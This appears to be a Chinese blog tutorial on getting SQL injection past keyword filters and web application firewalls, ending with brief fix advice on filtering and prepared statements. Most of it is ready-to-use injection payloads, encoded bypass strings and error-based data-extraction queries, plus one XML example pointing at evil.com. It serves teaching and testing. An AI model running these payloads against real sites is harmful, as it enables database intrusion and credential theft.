SQL绕过技术以及修复

SQL 注入绕过

双写绕过

1.过滤判断
xxx.com?id=1 访问?id=1 and 1=1 页面报错 1=1,发现 and 被过滤,这时候尝试使用双写的方 式绕过,如 aanndd 1=1,当 and 被过滤后,aanndd 变成了 and,所以这时传输数据库的语句是 and 1=1 ,如果当访问 order by 错误信息为”der by”这发现过滤了 or,这双写 or,后面注 入和 union 注入的一致。

大小写绕过

1.大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感 即无法绕过,这是最简单的绕过技术
举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4 示例场景可能的情况为 filter 的规则里有对大小写转换的处理,但不是每个关键字或每种情况 都有处理

替换关键字

这种情况下大小写转化无法绕过,而且正则表达式会替换或删除 select、union 这些关键字, 如果只匹配一次就很容易绕过
举例:z.com/index.php?page_id=-15?UNIunionON SELselectECT 1,2,3,4 同样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此抱太大 期望

编码绕过注入

1. URL 编码
访问 id=1’,发现页面报出 Mysql 错误,接着访问 id=1 and 1=1 和 id=1 and 1=2 时,发 现 and 被拦截,尝试使用 URL 全编码的方式绕过拦截。由于服务器会自动对 URL 进行一次 URL 编码,所以需要把关键字编码两次,这里需要注意的地方是,URL 编码需要选择全编码,而不 是普通的 URL 编码。如: 关 键 字 and 进 行 两 次 URL 全 编 码 的 结 果 是 %25%36%31%25%36%65%25%36%34 , 访 问 id=1 %25%36%31%25%36%65%25%36%34 1=1 时 , 页 面 返 回 和 id=1 相 同 , 访 问 id=1 %25%36%31%25%36%65%25%36%34 1=2 时,和 id=1 不同,所以该页面一定存在 sql 注入漏 洞。后面的注入过程与 union 注入一致,只需判断过滤的关键词,并经过两次 URL 全编码即可。

2. 十六进制编码
target.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4… SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) 示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码

3. Unicode 编码
Unicode 有所谓的标准编码和非标准编码,假设我们用的 utf-8 为标准编码,那么西欧语系 所使用的就是非标准编码了 看一下常用的几个符号的一些 Unicode 编码: 单引号:?? %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9 举例:?id=1%D6‘%20AND%201=2%23 SELECT ‘?’=‘A’; #1 两个示例中,前者利用双字节绕过,比如对单引号转义操作变成’,那么就变成 了%D6%5C’,%D6%5C 构成了一个款字节即 Unicode 字节,单引号可以正常使用 第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是 True 或者 False, 关键在于 Unicode 编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过 另外平时听得多一点的可能是 utf-7 的绕过,还有 utf-16、utf-32 的绕过,后者从成功的 实现对 google 的绕过,有兴趣的朋友可以去了解下 常见的编码当然还有二进制、八进制,它们不一定都派得上用场。

使用注释

1.普通注释
在这里插入图片描述
2.内联注释
在这里插入图片描述

等价函数与命令

1.函数或变量
hex()、bin()=>ascii()
sleep()=>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和 substr()无法使用 时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 或者:substr((select ‘password’),1,1) = 0x70 strcmp(left(‘password’,1), 0x69) = 1 strcmp(left(‘password’,1), 0x70) = 0 strcmp(left(‘password’,1), 0x71) = -1 上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现, 置于 select、uinon、where 等关键字被限制如何处理将在后面 filter 部分讨论

2.符号
and 和 or :&&、||;
=:<、>;
空格:%20 %09 %0a %0b %0c %0d %a0 /**/

3.生僻函数
MySQL/PostgreSQL 支 持 XML 函 数 : Select UpdateXML( ‘ ’ , ’ /script/@x/’,’src=//evil.com’); ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)) SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); MySQL、PostgreSQL、Oracle 它们都有许多自己的函数,基于黑名单的 filter 要想涵盖这么多 东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制

特殊符号

1.使用反引号,
例如 select version(),可以用来过空格和正则,特殊情况下还可以将其 做注释符用

2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此 也用于连接,可以逃过空格和关键字过滤

3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表 示系统变量 4.Mysql function() as xxx 也可不用 as 和空格 select-count(id)test from users; // 绕过空格限制

http 参数控制

1.HPP(HTTP Parameter Polution)
举例:
/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1//union/&id=/select/&id=/pwd/&id=/from/&id=/users

2.HPF(HTTP Parameter Fragment)
这种方法是 HTTP 分割注入,同 CRLF 有相似之处(使用控制字符%0a、%0d 等执行换行)
举例:/?a=1+union/&b=/select+1,pass/&c=/from+users-- select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—

3.HPC(HTTP Parameter Contamination)
这一概念见于 exploit-db 上的 paper:Beyond SQLi: Obfuscate and Bypass,Contamination 同样 意为污染

缓冲区溢出(Advanced)

缓冲区溢出用于对付 WAF,有不少 WAF 是 C 语言写
的,而 C 语言自身没有缓冲区保护机制,因此如果 WAF 在处理测试向量时超出了其缓冲区长度,就会引发 bug 从而实现绕过
举例: ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26

整合绕过

在这里插入图片描述

SQL 修复建议

1.过滤危险字符
• 多数 CMS 都采用过滤字符的方式,例如,采用正则表达式匹配 union、sleep、load_file 等 关键字,如果匹配到,则退出程序。
2.使用预编译语句
• 其实使用 PDO 预编译语句,需要注意的是,不要将变量直接拼接到 PDO 语句中,而是使用占 位符进行数据库的增加、删除、修改、查询。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值